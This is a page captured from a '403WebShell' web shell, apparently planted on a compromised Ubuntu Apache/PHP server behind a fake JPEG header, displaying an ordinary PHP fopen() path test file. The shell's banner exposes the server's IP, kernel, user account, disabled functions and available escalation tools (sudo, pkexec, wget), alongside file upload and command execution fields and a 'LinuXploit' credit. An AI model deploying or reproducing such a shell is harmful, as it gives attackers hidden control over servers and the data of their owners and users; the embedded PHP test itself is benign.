????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.86
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/file/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/file/fopen_variation10-win32.phpt
--TEST--
Test fopen() function : variation: interesting paths, no use include path
--CREDITS--
Dave Kelsey <d_kelsey@uk.ibm.com>
--SKIPIF--
<?php
if(substr(PHP_OS, 0, 3) != "WIN")
  die("skip Run only on Windows");

if (!is_writable('c:\\fopen_variation10.tmp')) {
	die('skip. C:\\ not writable.');
}

?>
--FILE--
<?php
/* Prototype  : resource fopen(string filename, string mode [, bool use_include_path [, resource context]])
 * Description: Open a file or a URL and return a file pointer 
 * Source code: ext/standard/file.c
 * Alias to functions: 
 */

echo "*** Testing fopen() : variation ***\n";

// fopen with interesting windows paths.
$testdir = dirname(__FILE__).'/fopen10.tmpDir';
$rootdir = 'fopen10.tmpdirTwo';
mkdir($testdir);
mkdir('c:\\'.$rootdir);

$unixifiedDir = '/'.substr(str_replace('\\','/',$testdir),3);

$paths = array('c:\\', 
               'c:', 
               'c', 
               '\\', 
               '/', 
               'c:'.$rootdir, 
               'c:adir', 
               'c:\\/', 
               'c:\\'.$rootdir.'\\/',
               'c:\\'.$rootdir.'\\', 
               'c:\\'.$rootdir.'/',
               $unixifiedDir, 
               '/sortout');

$file = "fopen_variation10.tmp";
$firstfile = 'c:\\'.$rootdir.'\\'.$file;
$secondfile = $testdir.'\\'.$file;
$thirdfile = 'c:\\'.$file;

$h = fopen($firstfile, 'w');
fwrite($h, "file in $rootdir");
fclose($h);

$h = fopen($secondfile, 'w');
fwrite($h, "file in fopen10.tmpDir");
fclose($h);

$h = fopen($thirdfile, 'w');
fwrite($h, "file in root");
fclose($h);

foreach($paths as $path) {
      echo "\n--$path--\n";
      $toFind = $path.'\\'.$file;
         $h = fopen($toFind, 'r');
         if ($h === false) {
            echo "file not opened for read\n";
         }
         else {
            fpassthru($h);
            echo "\n";
         }
         fclose($h);
};

unlink($firstfile);
unlink($secondfile);
unlink($thirdfile);
rmdir($testdir);
rmdir('c:\\'.$rootdir);


?>
===DONE===
--EXPECTF--
*** Testing fopen() : variation ***

--c:\--
file in root

--c:--
file in root

--c--

Warning: fopen(c\fopen_variation10.tmp): failed to open stream: No such file or directory in %s on line %d
file not opened for read

Warning: fclose() expects parameter 1 to be resource, boolean given in %s on line %d

--\--

Warning: fopen(\\fopen_variation10.tmp): failed to open stream: Invalid argument in %s on line %d
file not opened for read

Warning: fclose() expects parameter 1 to be resource, boolean given in %s on line %d

--/--

Warning: fopen(/\fopen_variation10.tmp): failed to open stream: Invalid argument in %s on line %d
file not opened for read

Warning: fclose() expects parameter 1 to be resource, boolean given in %s on line %d

--c:fopen10.tmpdirTwo--
file in fopen10.tmpdirTwo

--c:adir--

Warning: fopen(c:adir\fopen_variation10.tmp): failed to open stream: No such file or directory in %s on line %d
file not opened for read

Warning: fclose() expects parameter 1 to be resource, boolean given in %s on line %d

--c:\/--
file in root

--c:\fopen10.tmpdirTwo\/--
file in fopen10.tmpdirTwo

--c:\fopen10.tmpdirTwo\--
file in fopen10.tmpdirTwo

--c:\fopen10.tmpdirTwo/--
file in fopen10.tmpdirTwo

--%s/fopen10.tmpDir--
file in fopen10.tmpDir

--/sortout--

Warning: fopen(/sortout\fopen_variation10.tmp): failed to open stream: No such file or directory in %s on line %d
file not opened for read

Warning: fclose() expects parameter 1 to be resource, boolean given in %s on line %d
===DONE===


Youez - 2016 - github.com/yon3zu
LinuXploit